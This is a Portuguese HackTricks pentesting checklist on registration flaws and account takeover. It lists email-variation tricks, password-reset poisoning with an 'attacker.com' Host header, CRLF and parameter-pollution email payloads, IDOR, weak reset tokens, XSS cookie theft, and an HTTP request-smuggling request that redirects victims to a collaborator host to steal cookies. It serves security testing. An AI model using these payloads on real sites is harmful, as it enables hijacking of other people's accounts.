11 KiB
Vulnerabilidades de Registro e Assunção de Conta
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
Assunção de Conta
Registro Duplicado
- Tente gerar um usuário usando um nome de usuário existente
- Verifique a variação do e-mail:
- maiúsculas
- +1@
- adicione algo no e-mail
- caracteres especiais no nome do e-mail (%00, %09, %20)
- Coloque caracteres em branco após o e-mail:
test@test.com a
- vítima@gmail.com@atacante.com
- vítima@atacante.com@gmail.com
Enumeração de Nome de Usuário
Verifique se é possível descobrir quando um nome de usuário já foi registrado dentro do aplicativo.
Política de Senha
Ao criar um usuário, verifique a política de senha (verifique se é possível usar senhas fracas).
Nesse caso, você pode tentar forçar credenciais.
Injeção de SQL
Verifique esta página para aprender como tentar assumir contas ou extrair informações por meio de Injeções de SQL em formulários de registro.
Assunção de Conta Oauth
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
Vulnerabilidades SAML
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
Alteração de E-mail
Ao se registrar, tente alterar o e-mail e verifique se essa alteração é validada corretamente ou se pode ser alterada para e-mails arbitrários.
Mais Verificações
- Verifique se é possível usar e-mails descartáveis
- Senha longa (>200) leva a DoS
- Verifique os limites de taxa na criação de contas
- Use username@burp_collab.net e analise o callback
Assunção de Conta por Redefinição de Senha
Vazamento de Token de Redefinição de Senha Via Referenciador
- Solicite a redefinição de senha para o seu endereço de e-mail
- Clique no link de redefinição de senha
- Não altere a senha
- Clique em qualquer site de terceiros (por exemplo: Facebook, Twitter)
- Interceptar a solicitação no proxy do Burp Suite
- Verifique se o cabeçalho referer está vazando o token de redefinição de senha.
Envenenamento de Redefinição de Senha
- Interceptar a solicitação de redefinição de senha no Burp Suite
- Adicione ou edite os seguintes cabeçalhos no Burp Suite:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Encaminhe a solicitação com o cabeçalho modificado
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Procure por uma URL de redefinição de senha com base no cabeçalho host como:
https://attacker.com/reset-password.php?token=TOKEN
Redefinição de Senha Via Parâmetro de E-mail
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR em Parâmetros de API
- O atacante deve fazer login em sua conta e acessar a opção Alterar senha.
- Inicie o Burp Suite e intercepte a solicitação.
- Envie-a para a guia de repetição e edite os parâmetros: ID do usuário/e-mail
powershell POST /api/changepass [...] ("form": {"email":"vítima@email.com","password":"senhaSegura"})
Token de Redefinição de Senha Fraco
O token de redefinição de senha deve ser gerado aleatoriamente e ser único a cada vez.
Tente determinar se o token expira ou se é sempre o mesmo, em alguns casos o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.
- Timestamp
- ID do usuário
- E-mail do usuário
- Nome e sobrenome
- Data de nascimento
- Criptografia
- Apenas números
- Pequena sequência de token (caracteres entre [A-Z,a-z,0-9])
- Reutilização de token
- Data de expiração do token
Vazamento de Token de Redefinição de Senha
- Acione uma solicitação de redefinição de senha usando a API/UI para um e-mail específico, por exemplo: test@mail.com
- Inspecione a resposta do servidor e verifique se há
resetToken
- Em seguida, use o token em uma URL como
https://example.com/v3/user/password/reset?resetToken=[O_TOKEN_DE_REDEFINIÇÃO]&email=[O_EMAIL]
Redefinição de Senha Via Colisão de Nome de Usuário
- Registre-se no sistema com um nome de usuário idêntico ao nome de usuário da vítima, mas com espaços em branco inseridos antes e/ou depois do nome de usuário. por exemplo:
"admin "
- Solicite uma redefinição de senha com seu nome de usuário malicioso.
- Use o token enviado para seu e-mail e redefina a senha da vítima.
- Conecte-se à conta da vítima com a nova senha.
A plataforma CTFd estava vulnerável a esse ataque.
Veja: CVE-2020-7245
Assumir Conta Via Cross Site Scripting
- Encontre um XSS dentro do aplicativo ou de um subdomínio se os cookies estiverem limitados ao domínio pai:
*.domain.com
- Vaze o cookie de sessões atual
- Autentique-se como o usuário usando o cookie
Assumir Conta Via HTTP Request Smuggling
1. Use o smuggler para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crie uma solicitação que sobrescreva o POST / HTTP/1.1
com os seguintes dados:
GET http://something.burpcollaborator.net HTTP/1.1 X:
com o objetivo de redirecionar as vítimas para burpcollab e roubar seus cookies
3. A solicitação final pode parecer com a seguinte:
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Relatórios do Hackerone explorando esse bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Assumir Conta via CSRF
- Crie um payload para o CSRF, por exemplo: "Formulário HTML com envio automático para alteração de senha"
- Envie o payload
Assumir Conta via JWT
O JSON Web Token pode ser usado para autenticar um usuário.
- Edite o JWT com outro ID de usuário / Email
- Verifique a assinatura fraca do JWT
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
Referências
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.